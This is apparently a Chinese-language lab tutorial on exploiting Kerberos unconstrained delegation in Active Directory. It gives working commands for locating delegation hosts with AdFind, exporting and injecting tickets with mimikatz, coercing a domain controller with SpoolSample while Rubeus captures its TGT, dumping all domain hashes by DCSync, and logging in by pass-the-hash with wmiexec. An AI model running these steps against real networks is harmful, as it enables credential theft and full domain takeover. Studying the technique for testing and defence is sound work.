非约束委派利用

什么是非约束性委派

委派是大型网络中经常部署的应用模式，给多跳认证带来了很大的便利，
与此同时也带来了很大的安全隐患。利用委派，攻击者可结合其他漏洞
进行组合攻击，导致攻击者获取本地管理员甚至域管理员权限，还可以
制作深度隐藏的后门。委派是指将域内用户的权限委派给服务账户，使
得服务账户能以用户权限访问域内其他服务。

配置非约束委派

环境说明:
192.168.126.66 域控
192.168.126.50 （Windows10Sql$）配置了机器账号的非约束委派机器
配置:

利用非约束委派简述

这里先简单讲解下:
委派其实可以看做是存款人、银行、定期存单这上面三者的关系,
存款人将钱存入银行，然后委托银行为你办理3年的存单。
存款人是用户
银行是委派的机器账号
存单是你要访问的服务
这里要注意的是委派可以使机器账号配置也可以是域内用户账号配置的SPN,
SQL Server 在安装时会在域内自动注册服务账户 SQLServiceAceount,
也可将域用户通过注册 SPN变为服务账户。
非约束性委派(Unconstrained Delegation)：服务账号可以请求得到域内用户的TGT，服务账号使用该
TGT模拟域内用户访问任意服务。被配置为非约束委托的系统将把TGT（Ticket Granting Ticket）存
储到LSASS内存中，以便使用户能够访问终端资源。非约束委派的设置需要SeEnableDelegation权
限，一般为管理员具有此权限。
流程:
1.域内用户A经过Kerberos认证后访问WEB服务器
2.WEB服务器以服务账户B向KDC请求用户A的可转发票据TGT
3.KDC检查B的委派属性，下发TGT
4.服务账户B使用TGT向KDC申请服务票据TGS（访问文件服务器等功能）
5.KDC检查委派属性和申请的服务，下发TGS
6.服务账户使用TGS访问其他服务

查询域内的非约束委派

bloodhound查询:

Adfind查询:
查询域中配置非约束委派的主机
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
查询域中配置非约束委派的服务账户

方式一.诱导域管访问的非约束委派利用

192.168.126.50 Windows10Sql$机器账号配置了非约束委派,
Windows10Sql$机器开启共享，之后使用DC域管账号访问，
Windows10Sql共享即可拿到域管TGT票据。

使用mimikatz导出administrator域管票据:
	privilege::debug
	sekurlsa::tickets /export

生成以下票据文件:

导入票据:
kerberos::ptt C:\Users\admin\Desktop\123\[0;1559d7]-2-0-60a10000-Administrator@krbtgt-TEST.COM.kirbi

查看票据:
kerberos::list

方式二.使用SpoolSample打印机漏洞+Rubeus获取域控机器账号进行DCSync

	需要注意:必须当前控制的机器是域内账号就算是本地管理员账号也无法触发,
	且Rubeus.exe需要管理员身份运行,以为这域内账号必须在本地管理员组才行,
	如果之前没有配置该机器账号的委派是无法拿到域控机器账号的TGT的，如果
	马上更改为非约束委派也是不行的需要重启域控才行。
	
SpoolSample可以强制指定机器账号访问本机机器,Rubeus开启监听获得目标域控机器账号TGT票据进行DCSync。
准备:
	https://github.com/leechristensen/SpoolSample（不需要管理员）
	https://github.com/GhostPack/Rubeus			 （需要管理员）
Rubeus开启监听:
	Rubeus.exe monitor /interval:2 /filteruser:XXXX$（域控机器账号可以通过bloodhound或者Adfind等查询找到）
SpoolSample打印机漏洞利用:	
	SpoolSample.exe DC2008(域控机器名) WIN10(Rubeus监听机器名)

Rubeus监听到域控机器账号TGT（域控机器账号具有DCSync权限）:
	导入票据:
	Rubeus.exe ptt /ticket:Rubeus base64 TGT内容

mimikatz Dcsync导出域内所有用户hash:
	privilege::debug
	lsadump::dcsync /domain:test.com /all /csv

利用提权

方式1

方式2
进行dcsync:
lsadump::dcsync /domain:test.com /all /csv

使用wmiexec登录域控
命令:wmiexec.exe -hashes :443304af5a35f12b9ff7ecc74adc5a27 administrator@192.168.126.66